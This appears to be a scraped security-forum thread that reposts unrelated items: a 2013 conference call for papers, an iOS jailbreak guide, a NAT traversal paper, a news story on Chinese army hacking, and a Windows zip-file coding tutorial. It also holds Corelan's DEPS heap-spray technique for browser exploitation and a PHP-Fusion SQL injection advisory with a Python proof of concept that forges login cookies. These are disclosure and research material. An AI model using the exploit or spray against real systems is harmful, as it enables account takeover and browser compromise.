SECITC 2013 Conference sections: Cryptographic Algorithms and Protocols Security Technologies for IT&C Information Security Management Cyber Defense Digital Forensic Conference Committees: We are proud to have in the conference’s committees, personalities from: Belgium, Canada, Czech Republic, France, Greece, Romania, UK, U.S.A. For the complete list, please visit our Commitees web page. Conference papers: will be published in a the printed and electronic volume of the Conference Proceedings with ISSN Selected papers from the conference will be considered for publication in extenso, in the supporting journals according with their reviewing policy. The supporting journals are indexed in international databases such as: EBSCO, DOAJ, Cabbels, Google Scholar, Index Copernicus, Cornell University Library. Journal of Mobile, Embedded and Distributed Systems SECITC 2013 will accept as full papers only a small amount of submissions. Additionally, it is possible to accept the submissions as short papers and as posters. The conference registration fee is 100 € (EURO) for non-students participants. Info: 6th International Conference on Security for Information Technology and Communications .................................................................................. Hmm, veniti?
-
[h=1]Jailbreak 6.1.1 With Evasi0n 1.3 untethered for iPhone 4S released[/h]Freddy Kellison-Linn February 11, 2013 The evad3rs have just released the newest iteration of their iOS 6 untethered jailbreak, which works for the newest update for iOS 6, 6.1.1. This update was rushed out early for iPhone 4S in order to fix spotty 3G issues on the device, and is still fully jailbreakable with the current exploits. Read on to find out how to jailbreak iOS 6.1.1 untethered. Before you start Make sure you update to iOS 6.1.1 with a clean, full update from iTunes, preferably a full restore, the evad3rs have warned NOT to use OTA updating, as the jailbreak may not work if you do this. 1. Download the Evasi0n software, and open it on your computer (links here). You should see this screen (note that your copy of evasi0n should say 1.3): 2. Connect your device (Evasi0n should recognize it automatically). Evasi0n will warn you about any open applications that 3. Click “Jailbreak” and let the process begin 4. Partway through, Evasi0n will notify you to tap a new icon on your device. Unlock the screen and find the new application called “Jailbreak”. Tap that and your jailbreak will continue. 5. Wait for evasion to finish, and your device will reboot, showing the evasi0n logo and varios status messages. 6. When your device reboots, Cydia will be installed and your device will be jailbroken! Thats it! As with all untethered jailbreaks, there is no danger of rebooting your device, so there is no final step to boot tethered! What to do after you jailbreak: Best Evasi0n jailbreak tweaks, #2 , best themes Sursa: Jailbreak 6.1.1 iPhone 4S: Evasi0n 1.3 untethered jailbreak released
-
A breakdown of SQL injection in non-technical terms
Nytro replied to Praetorian503's topic in Tutoriale video
"What is this sorcery?" -
Autonomous NAT Traversal Andreas Muller Nathan Evans Christian Grothoff Network Architectures and Services Technische Universit¨at M¨unchen Email: fmueller,evans,grothoffg@net.in.tum.de Samy Kamkar Email: samy@samy.pl Abstract—Traditional NAT traversal methods require the help of a third party for signalling. This paper investigates a new autonomous method for establishing connections to peers behind NAT. The proposed method for autonomous NAT traversal uses fake ICMP messages to initially contact the NATed peer. This paper presents how the method is supposed to work in theory, discusses some possible variations, introduces various concrete implementations of the proposed approach and evaluates empirical results of a measurement study designed to evaluate the efficacy of the idea in practice. I. INTRODUCTION A large fraction of the hosts in a typical peer-to-peer network are in home networks. Most home networks use network address translation (NAT) [1] to facilitate multiple computers sharing a single global public IP address, to enhance security or simply because the provider’s hardware often defaults to this configuration. Recent studies have reported that up to 70% of users access P2P networks from behind a NAT system [2]. This creates a well-known problem for peer-to-peer networks since it is not trivial to initiate a connection to a peer behind NAT. For this paper, we will use the term server to refer to a peer behind NAT and the term client for any other peer trying to initiate a connection to the server. Unless configured otherwise (protocols such as the Internet Gateway Device Protocol [3] are counted as configuration in this context), almost all NAT implementations refuse to forward inbound traffic that does not correspond to a recent matching outbound request. This is not primarily an implementation issue: if there are multiple hosts in the private network, the NAT is likely unable to tell which host is the intended recipient. Configuration of the NAT is not always an alternative; problems range from end-user convenience and capabilities of the specific NAT implementation to administrative policies that may prohibit changes to the NAT configuration (for example, due to security concerns). Since NAT systems prohibit inbound requests that do not match a previous outbound request, all existing NAT traversal techniques (aside from those changing the configuration of the NAT system) that we are aware of require some amount of active facilitation by a third party [4], [5]. The basic approach in most of these cases is that the server in the private network behind the NAT is notified by the third party that the client would like to establish a connection. The server then initiates the connection to the client. This requires that the server maintains a connection to a third party, that the client is able to locate the responsible third party and that the third party acts according to a specific protocol. The goal of this paper is autonomous NAT traversal, meaning NAT traversal without a third party. Using third parties increases the complexity of the software and potentially introduces new vulnerabilities. For example, if anonymizing peer-to-peer networks (such as GNUnet [6] or Tor [7]) used third parties for NAT traversal, an attacker may be able to monitor connections or even traffic volumes of peers behind NATs which in turn might enable deanonymization attacks [8], [9]. Another problem is that the decrease in available globally routable IPv4 addresses [10] will in the near future sharply reduce the fraction of hosts that would be able to facilitate NAT traversal. Download: http://samy.pl/pwnat/pwnat.pdf
-
DEPS – Precise Heap Spray on Firefox and IE10 Published February 19, 2013 | By Corelan Team (corelanc0d3r) Introduction Last week, while doing my bi-weekly courseware review and update, I discovered that my heap spray script for Firefox 9 no longer works on recent versions. Looking back at the type of tricks I had to use to make a precise spray work under Firefox 9 and IE 9, and realizing that these changes don’t seem to have any useful effect on Firefox or IE 10, I think it’s fair to state that we can no longer rely on classic BSTR string allocations to perform a precise heap spray, or any heap spray for that matter. On top of that, the Firefox 9 heap spray was not only ugly, it was also pretty slow, which might be a deal-breaker for reliable exploitation. If the user gets the chance to kill the browser process before the spray has finished and the bug is triggered, you won’t be greeted with a shell. Of course, that doesn’t mean it is now impossible to perform a precise heap spray in modern browsers. Federico Muttis and Anibal Sacco from Core security recently published the results of their research on HTML5 spraying, which offers a great way to take advantage of new technology to perform heap allocations in modern browsers. The advantage of their technique is that HTML5 is not limited to just IE or Firefox, since it also works on Webkit based browsers such as Google Chrome and Safari. Federico & Anibal were kind enough to provide me with the source of their script to create html5 based spray routines. You can download the script at Files - Heap Spray Scripts - Corelan Team (HTML5Spray.zip). Anyways, I decided not to use HTML5 and wanted to try something different. It’s a well known fact that the use of BSTR strings to replace a freed object in a browser Use-After-Free scenario can be problematic. It is generally expected to find the vtable pointer at the top of the object, and that is also exactly where the BSTR header field will be placed after you have replaced the freed object with a BSTR string. In other words, although you might be able to replace the object, you won’t be able to fake the vtable pointer with something you control. A common technique to overcome this issue is based on DOM elements. This technique requires you to create one or more DOM elements (image, div, etc), and then set a property, containing the payload you want to write into the freed object. For images, this property could be .src or .title. For div objects, .className might be a solid option. Anyways, since this allows you to cause precise allocations (providing that you take the terminating null byte into account, of course), I wanted to see if it would be possible to use the same technique for a full blown heap spray. After playing with some sizes, I managed to put a script together that works on Firefox, and all versions of Internet Explorer. On top of that, performance is a lot better than my older heapspray scripts for FF9 and IE9, and because I’m hitting a higher memory region with this type of spray, we can also bypass the default EMET heapspray protection. The technique The idea is based on creating a large number of DOM elements and setting an element property to a specific value. I have tested this concept using button elements, but I don’t see a reason why this would be limited to buttons only. You might even be able to use a mix of various elements and play with the size where needed. For that reason, I’ve decided to name this technique "DOM Element Property Spray". Since there seems to be a strong desire in the infosec industry to create confusing 4-letter abbreviations, I decided to name this technique "DEPS". If your favorite security appliance claims to prevent DEPS, you’ll know what it is. Or not. Again, the use of DOM elements to cause precise allocations is not new, but I hadn’t seen a heap spray based on this concept. In short, the DEPS technique is based on 4 steps: put a div element on the page Create a number of buttons set the title property with your payload and use substring() to make sure it has the desired length add the button to the div The script This is what the basic script looks like: You can get a copy of the scripts used in this post here: Files - Heap Spray Scripts - Corelan Team (deps_corelan_ff_ie_spray.zip). The archive password is ‘infected’ (without the quotes). As you can see, this script no longer focuses on getting the start of a ROP chain positioned at 0x0c0c0c0c. Since we can no longer execute code directly (without disabling DEP first), and use 0c0c0c0c as the target for vtable dereferences and nops at the same time, the use of 0x0c0c0c0c as a target has pretty much lost its true value. On top of that, our target address doesn’t really need to consist of 4 times the same byte. Allocations should be 4 byte aligned, so we should not have any issues with hitting the right spot every time. The div element in the document is used as a placeholder, so the div_container.appendChild() can store the elements and their title property in memory and keep them there. Due to the size of the allocations, all chunks are part of the VirtualAllocdBlocks list of the default heap. The current version of the script targets 0×20202210 or 0×20302210 on Firefox (depending on the number of iterations you’re using – 0×20302210 has been pretty reliable for me so far), and 0×20202228 or 0×20302228 on IE8/9/10 (XP/Win7/Win8). This is quite interesting, because we no longer need to differentiate between IE versions to deliver a precise heap spray. Based on my tests, I found 0×20302228 to be more reliable than 0×20202228. Of course, it is very easy to change the offset value in the script and move the actual start of the ROP chain to another address, if that is what you need or want to do. A convenient side effect of this higher memory range is that we’re hitting a higher memory address region, one that contains addresses that consist of ascii printable characters, which might offer some additional benefits in case you’ve found an oldskool stack buffer overflow that has tight character restrictions. If you want to use a different element property, you could try to play with obj.style.fontFamily as well. In fact, you can even set 2 different properties at once, which should decrease the number of iterations you need in order to get to a predictable address: Finally, this technique doesn’t require any data randomization at this point, nor ugly tricks with variable names and eval(), which also helps ensuring the spray can be delivered in a relatively fast way. Test environment In all cases, the latest 32bit version of a specific browser was used, on fully patched versions of the OS. Tests were performed on virtual machines (VirtualBox, VMWare) and physical machines, and verified to work after reboots. All tests on Windows 7 were performed with EMET 3.5 enabled & configured to detect/prevent heapsprays: In Windows 8, tests were performed on a default IE10 installation. Results Firefox 18 on Windows 7: (this works on OS X too) IE8 on Windows XP: IE9 on Windows 7: IE10 on Windows 8: In all cases, the heap layout of a chunk that contains the string "AAAABBBBCCCCDDDD…" (which is basically just the indication of where the ROP chain is placed) looks like this: VirtualAlloc Chunk header (0×20 bytes) Junk (spaces) ROP chain (AAAABBBBCCCCDDDD…) Shellcode (\xcc\xcc\xcc\xcc…) Junk (spaces) Spray analysis What exactly happens when you run the basic version of the DEPS heap spray ? Let’s do some tracing & logging on Windows XP SP3, IE8. First of all, let’s change the core routine and insert some calls to Math.atan2() to interact with WinDBG from Javascript: for (var i = 0; i < 0x500; i++) { Math.atan2(0xbabe, " [*] Creating object button...."); var obj = document.createElement("button"); Math.atan2(0xbabe, " [*] Assigning data to title."); obj.title = data.substring(0,0x40000-0x58); //aligned spray Math.atan2(0xbabe, " [*] Let's AppendChild"); div_container.appendChild(obj); } The following breakpoint in WinDBG allows you to print out the Math.atan2() messages: bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g" Next, set the following breakpoint to see when a button gets created: bp mshtml!CButton::CreateElement+16 ".printf \"Object at %08x\",eax; .echo;" When you run the html page, WinDBG should display the "Creating object button" message and break at the CreateElement function: [*] Creating object button.... Object at 00214dc0 eax=00214dc0 ebx=6363c470 ecx=7c9101bb edx=00000058 esi=032114f0 edi=020bf190 eip=639944f7 esp=020bf130 ebp=020bf134 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CButton::CreateElement+0x16: 639944f7 8bf0 mov esi,eax Set a breakpoint at RtlAllocateHeap to log all subsequent allocations and print out the call stack. This should give us all allocation information until the next button gets created. bp ntdll!RtlAllocateHeap+117 ".printf \"Allocate at %08x\", eax; .echo; k; .echo; g" With this breakpoint set, continue to run the process. You will now get information about all allocations within one iteration. One single iteration creates these allocations: Allocate at 0293d588 Allocate at 0293ea00 Allocate at 02866780 Allocate at 039b0020 <--- First interesting allocation Allocate at 0293eb68 Allocate at 03b50020 <--- Second interesting allocation Allocate at 02917718 Allocate at 001eff28 Allocate at 001effd8 Allocate at 00217d18 Allocate at 0293d568 Allocate at 002150c0 The first interesting allocation happens right after the debugging message "Assigning data to title." It has the following callstack: Allocate at 039b0020 ChildEBP RetAddr 020bf330 77124b32 ntdll!RtlAllocateHeap+0xeac 020bf344 77124c5f OLEAUT32!APP_DATA::AllocCachedMem+0x4f 020bf354 633a8242 OLEAUT32!SysAllocStringByteLen+0x2e 020bf368 6338f693 jscript!PvarAllocBstrByteLen+0x6c 020bf3d4 63390403 jscript!JsStrSubstrCore+0x1d8 020bf3f4 633a8561 jscript!JsStrSubstring+0x20 020bf45c 633a7127 jscript!NatFncObj::Call+0x103 020bf4e0 633a6650 jscript!NameTbl::InvokeInternal+0x2a2 020bf514 6339f39f jscript!VAR::InvokeByDispID+0x17c 020bf554 633a67c9 jscript!VAR::InvokeJSObj<SYM *>+0xb8 020bf590 633a77ff jscript!VAR::InvokeByName+0x170 020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a 020bf60c 633a83a9 jscript!VAR::InvokeByDispID+0xce 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x28ab 020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff 020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f 020bf958 633891f1 jscript!CSession::Execute+0x175 020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0 020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a 020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30 Since the first allocation uses jscript!JsStrSubstring, I assume this is triggered by this JScript code in the spray: data.substring(0,0x40000-0x58); The second allocation occurs right before the debugging message "Let’s AppendChild". It has the following callstack: Allocate at 03b50020 ChildEBP RetAddr 020bf16c 63651871 ntdll!RtlAllocateHeap+0xeac 020bf190 6364130b mshtml!CAttrValue::InitVariant+0x154 020bf1c8 63641259 mshtml!CAttrArray::Set+0x174 020bf1f0 636518d7 mshtml!CAttrArray::Set+0x51 020bf224 63651849 mshtml!CAttrArray::SetString+0x44 020bf23c 6366913f mshtml!BASICPROPPARAMS::SetString+0x69 020bf2a4 63610e83 mshtml!BASICPROPPARAMS::SetStringProperty+0x200 020bf2cc 63610eb8 mshtml!CBase::put_StringHelper+0x64 020bf2e8 6366906f mshtml!CBase::put_String+0x29 020bf318 636430c9 mshtml!GS_BSTR+0x1ab 020bf38c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1 020bf3dc 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d 020bf408 63642eec mshtml!CInput::VersionedInvokeEx+0x2d 020bf458 633a6d37 mshtml!PlainInvokeEx+0xea 020bf498 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 020bf4d4 633a9cfe jscript!IDispatchExInvokeEx+0x6a 020bf594 633a9f3c jscript!InvokeDispatchEx+0x98 020bf5c8 633a77ff jscript!VAR::InvokeByName+0x135 020bf614 633a75bf jscript!VAR::InvokeDispName+0x7a 020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x1f27 Since this allocation uses SetString, I assume this is what actually assigns data to the property. The combination of the use of substring, using a DOM element property, and adding the element to a div that was created in the html document earlier, ensures that copies of the data are created, and allocated in memory. The string created with substring will eventually disappear, but the SetString() allocated data remains in memory. (thanks sinn3r for this analysis) © 2013, Corelan Team (corelanc0d3r). All rights reserved. Sursa: https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/
-
[h=1]Chinese Army Unit Is Seen as Tied to Hacking Against U.S.[/h] This 12-story building on the outskirts of Shanghai is the headquarters of Unit 61398 of the People’s Liberation Army. China’s defense ministry has denied that it is responsible for initiating digital attacks. [h=6]By DAVID E. SANGER, DAVID BARBOZA and NICOLE PERLROTH[/h] [h=6]Published: February 18, 2013[/h] On the outskirts of Shanghai, in a run-down neighborhood dominated by a 12-story white office tower, sits a People’s Liberation Army base for China’s growing corps of cyberwarriors. The building off Datong Road, surrounded by restaurants, massage parlors and a wine importer, is the headquarters of P.L.A. Unit 61398. A growing body of digital forensic evidence — confirmed by American intelligence officials who say they have tapped into the activity of the army unit for years — leaves little doubt that an overwhelming percentage of the attacks on American corporations, organizations and government agencies originate in and around the white tower. An unusually detailed 60-page study, to be released Tuesday by Mandiant, an American computer security firm, tracks for the first time individual members of the most sophisticated of the Chinese hacking groups — known to many of its victims in the United States as “Comment Crew” or “Shanghai Group” — to the doorstep of the military unit’s headquarters. The firm was not able to place the hackers inside the 12-story building, but makes a case there is no other plausible explanation for why so many attacks come out of one comparatively small area. “Either they are coming from inside Unit 61398,” said Kevin Mandia, the founder and chief executive of Mandiant, in an interview last week, “or the people who run the most-controlled, most-monitored Internet networks in the world are clueless about thousands of people generating attacks from this one neighborhood.” Other security firms that have tracked “Comment Crew” say they also believe the group is state-sponsored, and a recent classified National Intelligence Estimate, issued as a consensus document for all 16 of the United States intelligence agencies, makes a strong case that many of these hacking groups are either run by army officers or are contractors working for commands like Unit 61398, according to officials with knowledge of its classified content. Mandiant provided an advance copy of its report to The New York Times, saying it hoped to “bring visibility to the issues addressed in the report.” Times reporters then tested the conclusions with other experts, both inside and outside government, who have examined links between the hacking groups and the army (Mandiant was hired by The New York Times Company to investigate a sophisticated Chinese-origin attack on its news operations, but concluded it was not the work of Comment Crew, but another Chinese group. The firm is not currently working for the Times Company but it is in discussions about a business relationship.) While Comment Crew has drained terabytes of data from companies like Coca-Cola, increasingly its focus is on companies involved in the critical infrastructure of the United States — its electrical power grid, gas lines and waterworks. According to the security researchers, one target was a company with remote access to more than 60 percent of oil and gas pipelines in North America. The unit was also among those that attacked the computer security firm RSA, whose computer codes protect confidential corporate and government databases. Contacted Monday, officials at the Chinese embassy in Washington again insisted that their government does not engage in computer hacking, and that such activity is illegal. They describe China itself as a victim of computer hacking, and point out, accurately, that there are many hacking groups inside the United States. But in recent years the Chinese attacks have grown significantly, security researchers say. Mandiant has detected more than 140 Comment Crew intrusions since 2006. American intelligence agencies and private security firms that track many of the 20 or so other Chinese groups every day say those groups appear to be contractors with links to the unit. While the unit’s existence and operations are considered a Chinese state secret, Representative Mike Rogers of Michigan, the Republican chairman of the House Intelligence Committee, said in an interview that the Mandiant report was “completely consistent with the type of activity the Intelligence Committee has been seeing for some time.” Full article: http://www.nytimes.com/2013/02/19/technology/chinas-army-is-seen-as-tied-to-hacking-against-us.html?_r=0
-
PHP-Fusion 7.02.05 SQL Injection From: Krzysztof Katowicz-Kowalewski <vnd () vndh net> Date: Sat, 16 Feb 2013 15:57:51 +0100 SQL Injection vulnerability exists in releases since 7.02.01 till 7.02.05 of PHP-Fusion CMS. The vulnerability allows the attacker to authenticate as an arbitrary user and act with its rights which might lead to the code execution. Because of exploitation simplicity, the potential risk is very high. Magic Quotes feature protects against this coding flaw. Version 7.02.06 fixes presented security problem. Affected file: includes/classes/Authenticate.class.php 023: define("COOKIE_USER", COOKIE_PREFIX."user"); 024: define("COOKIE_ADMIN", COOKIE_PREFIX."admin"); 147: $cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]); 150: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr; 153: $result = dbquery( 154: "SELECT * FROM ".DB_USERS." 155: WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0' 156: LIMIT 1" 157: ); 195: $cookieDataArr = explode(".", $_COOKIE[COOKIE_ADMIN]); 197: list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr; 200: $result = dbquery( 201: "SELECT user_admin_algo, user_admin_salt FROM ".DB_USERS." 202: WHERE user_id='".$userID."' AND user_level>101 AND user_status='0' AND user_actiontime='0' 203: LIMIT 1" 204: ); # Proof of Concept # PHP-Fusion 7.02.05 # Authentication spoofing # Author: vnd at vndh.net from http import client from time import time import hashlib import hmac import re def generateCookie(address, path, userid, password = 'admin'): connection = client.HTTPConnection(address) connection.request("GET", "%s/profile.php?lookup=%d" % (path, userid)) response = connection.getresponse() if response.status != 200: raise BaseException("bad status") cookies = response.getheader("Set-Cookie") pattern = re.compile("([A-Z0-9\_]+)lastvisit", re.IGNORECASE) cookiesearch = pattern.search(cookies) if cookiesearch == None: raise BaseException("bad cookie") cookiename = cookiesearch.groups() cookiename = "%suser" % cookiename[0] source = response.read() connection.close() source = source.decode("utf-8") pattern = re.compile("<!--profile_user_name-->(.*)<") username = pattern.search(source).groups() username = username[0] injection = "-1' union select %d,'%s','sha256','','%s'%s,101%s -- " % (userid, username, password, ",0" * 15,",0" * 12) expiration = str(int(time() + 86400)) userhash = "" userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest() userhash = hmac.new(bytes(userhash.encode("utf-8")), bytes(("%s%s" % (injection, expiration)).encode("utf-8")), hashlib.sha256).hexdigest() return (cookiename, ".".join([injection, expiration, userhash])) Reference: https://vndh.net/note:php-fusion-70205-sql-injection Patched version: http://www.php-fusion.co.uk/downloads.php?cat_id=23&download_id=264 Sursa: Bugtraq: PHP-Fusion 7.02.05 SQL Injection
-
[h=3]Dropping Like Files – Zipping Without Libraries[/h]adeyblue @ 6:46 pm Contents: Introduction Creating the Zip File Creating the IDropTarget Doing the Zipping The ZipFileDataObject Finishing up [h=2]Introduction[/h] We haven’t been living under rocks. We know that since Windows XP, it’s had zip file extraction and creation. what it doesn’t have is a defined API so us normals can leverage it programmatically. But we have ways and means… Think about it, the usual way you interact with zip files is through the shell. You highlight a bunch a files and “Send To” a Compressed Folder or drag them into an existing folder and its done. There’s obviously some code behind that’s actually doing those things, and since you can do from ‘Open File’ dialogs and the like, it can’t be code within the Explorer executable. You can look through all the dll exports you want, but you’ll only find that MSDN isn’t sandbagging here and there are no real defined functions to create zips. What you will find in shell32 and friends are real functions and interfaces to duplicate the Shell’s methods of dragging, dropping and sending to, so that seems a good lead to follow. [h=2]Creating the Zip File[/h] There’s no point doing the equivalent of the highlighting, if we’ve nowhere to equivalently drop it on. The zip file can be created in any old way, all that matters is that exists. The method below uses the Shell interfaces to create it, both because it doesn’t seem to be too well documented how to do it that way, and because we need to use them later anyway. Several methods are available, but since zip files have been available since XP we’ll go with the most compatible. IShellFolder* pDesktopFolder = NULL; SHGetDesktopFolder(&pDesktopFolder); All interactions, using convenience functions or not, start at the desktop folder which is the root of the shell’s namespace. From there, you can navigate to other folders with the BindToObject member function. Fine and dandy, except that the function takes something called an Item-Id-List and not a human understandable path. Time to call in the big gun, namely ParseDisplayName. pDesktopFolder->ParseDisplayName( NULL, // HWND - we have no window NULL, // IBindCtx* - we have no specific parsing options to set pDirectoryOfZip, // LPWSTR - The folder that will contain our file NULL, // ULONG* - the number of characters in the folder name that were used in parsing &pPidl, // PIDLIST_RELATIVE* - the equivalent of pDirectoryOfZip in shell talk NULL // ULONG* - attributes of the object to query, we don't want to ); We now have the address of the folder, but we’re still only at the sorting office. Let’s go find the house, our SatNav is the BindToObject function. IShellFolder* pZipFileParentFolder = NULL; pDesktopFolder->BindToObject( pPidl, // PIDLIST_RELATIVE - the address of the thing to bind to NULL, // IBindCtx* - specific options for binding, we have none IID_PPV_ARGS(&pZipFileParentFolder) // REFIID & ppv - the object interface we want, and the pointer to it ); That done, pDesktopFolder can be Release-d and pPidl can be freed since we’ve finished with them. The next step is to actually create the file on the disk, for this we need to query the IShellFolder for its storage interface: IStorage* pZipFileParentFolderStorage = NULL; pZipFileFolder->QueryInterface(IID_PPV_ARGS(&pZipFileParentFolderStorage)); In shell folder parlance, folder objects are represented by IStorage interfaces and the files within them are treated as IStream-s within that storage[1]. We could now enumerate the folder contents with pStorage->EnumElements(), or as is our want, finally and actually create the zip file with CreateStream() pZipFileParentFolderStorage->CreateStream( pZipFileName, // the name of the stream (file) to create STGM_CREATE, // flags controlling the creation of the stream, create is the only thing we need 0, 0, // next two params are reserved &pZipStream // the stream represeting the folder ); If that succeeds, we don’t need to do anything with pZipStream, just creating it is enough to put the zip file on the hard drive. It’s now ready to have stuff (pseudo) dropped on it but for that we need another interface, one that allows drag and drop simulation, IDropTarget. [h=2]Creating the IDropTarget[/h] There’s nothing really new to what we did above here. The only obstacle in our way to our goal of GetUIObjectOf() is that it also takes a ItemIdList and not a file name, but we now know how to do that. LPITEMIDLIST pZipPidl = NULL; pZipFileFolder->ParseDisplayName( NULL, NULL, pZipFileName, NULL, &pZipPidl, NULL ); IDropTarget* pDropTarget = NULL; pZipFileFolder->GetUIObjectOf( NULL, // HWND - we still don't have a window 1, // ULONG - number of itemidlists in the next parameter &pZipPidl, // LPITEMIDLIST* - array of itemidlists to get the object for IID_IDropTarget, // REFIID - id of the interface we want NULL, // UINT* - reserved parameter reinterpret_cast<void**>(&pDropTarget) // void** - array of returned interfaces, we only have one ); And that’s it, we now have a drop target interface ready to simulate the dragging and dropping [2]. The only things we need now, are the files to compress. [h=2]Doing the Zipping[/h] IDropTarget has four methods. The two most interesting ones DragEnter and Drop, take something called an IDataObject that encapsulates the thing being dropped or dragged. If you looked at the MSDN page for GetUIObjectOf, you’ll have seen that apart from telling you to do something you can’t [3], it can retrieve these IDataObject interfaces. Well, this seems simple: IDataObject* pFileData = NULL; // pseudo function, its content isn't important GetIDataObjectForFile(L"C:\\myfile.ext", &pFileData); DWORD effect = DROPEFFECT_COPY; POINTL pt = {0}; pDropTarget->DragEnter( pFileData, // IDataObject* - the thing(s) we're supposedly dragging MK_LBUTTON, // DWORD - Mouse and key flags, we pretend we're holding the left mouse button pt, // POINTL - mouse coords of the drag, pretend the we've dragged the object at {0, 0} &effect // DWORD* - the type of drag to effect, we want to copy the object into it ); effect &= DROPEFFECT_COPY; // mask off any flags offered we don't understand or want pDropTarget->Drop( pFileData, // all these parameters are the same as for DragEnter MK_LBUTTON, pt, &effect }; Gee thanks Windows, we know it’s empty that’s why we’re trying to put something in it. As is usual, the generic failure message displayed to users is horribly lacking in useful info for us developers. Fortunately, after Ok-ing the message box [4], the return value of Drop gives us a bit more of an idea of the problem. Here, it’s 0×80040064, DV_E_FORMATETC, or “Invalid FORMATETC structure”. Well, I did say a bit. In essence it means the format of the data in the IDataObject is incompatble with what’s expected by the drop target. IDataObject’s allow enumeration of their formats so we can see what we’re trying to send: Format c07d (Shell IDList Array, CFSTR_SHELLIDLIST) Format c0ad (Preferred DropEffect, CFSTR_PREFERREDDROPEFFECT) IDropTarget’s don’t though, so let’s dive into its disassembly. mov eax, [ebp+pDataObject] .... push 0Fh pop ecx mov word ptr [ebp+var_18], cx; set this word value to 0xf (15) ... lea edx, [ebp+var_18]; Get ptr to something. If it's a struct, that 15 value is the first member push edx ; send it as second argument, first in prototype, so it is a struct. A FORMATETC struct ... mov ecx, [eax] push eax ; send the this ptr as first stack argument, not counted in prototype call dword ptr [ecx+0Ch] ; call fourth function in IDataObject vtable, that's GetData(FORMATETC*, STGMEDIUM*) The zip file’s drop target looks for data in a standard clipboard format (less than CF_MAX), while the only ones being offered are registered formats (greater than 0xc000), hence the error. Format 15 is CF_HDROP, the same format as the WM_DROPFILES message provides, except in this case the HDROP handle is wrapped in the data object. The format of data represented by a HDROP handle is actually documented on MSDN so all we need to do is wrap that up in a DataObject facade and send that to DragEnter() and Drop(). [h=3]The ZipFileDataObject[/h] If we’re creating our own IDataObject, that’s nine functions that need implementing above and beyond IUnknown. Or is it. Our object only has to be read from, and only supports the one format type, that cuts the number of functions to implement to four and two of those are almost identical. Other than the interface functions; a constructor, destructor and a method to add files are also needed but all in all, the facade barely covers 70 functional lines. The constructor sets up an empty HDROP: HGLOBAL hMem; size_t curSize; LONG refCount; ZipFileDataObject() { // keep track of our big our allocation is // the two WCHARs are the double-null termination curSize = sizeof(DROPFILES) + (2 * sizeof(WCHAR)); hMem = GlobalAlloc(GHND, curSize); if(hMem) { // fill in the bits we need DROPFILES* pFiles = static_cast<DROPFILES*>(GlobalLock(hMem)); // unicode filenames pFiles->fWide = TRUE; // offset of filename list, straight after the structure pFiles->pFiles = sizeof(DROPFILES); GlobalUnlock(hMem); } refCount = 1; } The destructor frees this memory, and the IUnknown functions are as bog standard as they always are. The most difficult function to create is the one to add the filenames to the HDROP, and that’s not very hard at all: void AddFileToObject(LPCWSTR fileName) { size_t fileNameBytes = ((wcslen(fileName) + 1) * sizeof(WCHAR)); size_t newSize = curSize + fileNameBytes; HGLOBAL hNewMem = GlobalReAlloc(hMem, newSize, GMEM_ZEROINIT); if(hNewMem) { hMem = hNewMem; // get a pointer to the memory char* pDataPos = static_cast<char*>(GlobalLock(hMem)); // position it at the end of the current file name list pDataPos += (curSize - (2 * sizeof(WCHAR))); // and copy in this filename // we want the NULL to be copied too, since that separates the names in the list memcpy(pDataPos, fileName, fileNameBytes); GlobalUnlock(hNewMem); curSize = newSize; } } IDataObject::GetData and IDataObject::GetDataHere are the nearly identical functions. The only difference been that in the former, we have to allocate the out buffer, in the latter it is already supplied. It makes sense then to have a helper function do the same heavy lifting: STDMETHODIMP GetData(FORMATETC* pEtc, STGMEDIUM* pStg) { // check for valid pointers if(!(pEtc && pStg)) { return E_POINTER; } // check the request is for something we can supply if(pEtc->cfFormat != CF_HDROP || (pEtc->tymed & TYMED_HGLOBAL) == 0) { return DV_E_FORMATETC; } // then fill in the data return FillInStgMedium(pStg, TRUE); } STDMETHODIMP GetDataHere(FORMATETC* pEtc, STGMEDIUM* pStg) { if(!(pEtc && pStg)) { return E_POINTER; } // since the buffer is supplied here, we do some additional checks if((pEtc->cfFormat != CF_HDROP) || ((pEtc->tymed & TYMED_HGLOBAL) == 0) || (pEtc->lindex != -1) || // check the caller wants all the data (pEtc->dwAspect != DVASPECT_CONTENT) // and the actual data at that ) { return DV_E_FORMATETC; } return FillInStgMedium(pStg, FALSE); } HRESULT FillInStgMedium(STGMEDIUM* pStg, BOOL shouldAlloc) { HGLOBAL hOutMem = NULL; if(shouldAlloc) { // allocate a big enough buffer if(!(hOutMem = GlobalAlloc(GHND, curSize))) { return E_OUTOFMEMORY; } // and fill in the buffer description of what type it is pStg->tymed = TYMED_HGLOBAL; pStg->pUnkForRelease = NULL; pStg->hGlobal = hOutMem; } else { // otherwise, check there was a passed in buffer and its big enough // for our DROPFILES and trailing filenames if(!(pStg->hGlobal && (GlobalSize(pStg->hGlobal) >= curSize))) { return STG_E_MEDIUMFULL; } hOutMem = pStg->hGlobal; } // OK, we're good, copy over all the data PVOID pOutData = GlobalLock(hOutMem); PVOID pOurData = GlobalLock(hMem); memcpy(pOutData, pOurData, curSize); GlobalUnlock(hOutMem); GlobalUnlock(hMem); return S_OK; } The two other functions are trivial to implement and just check what we can deliver STDMETHODIMP QueryGetData(FORMATETC* pEtc) { // again check the pointer if(!pEtc) { return E_POINTER; } // and if it conforms to our ideal if((pEtc->cfFormat != CF_HDROP) || 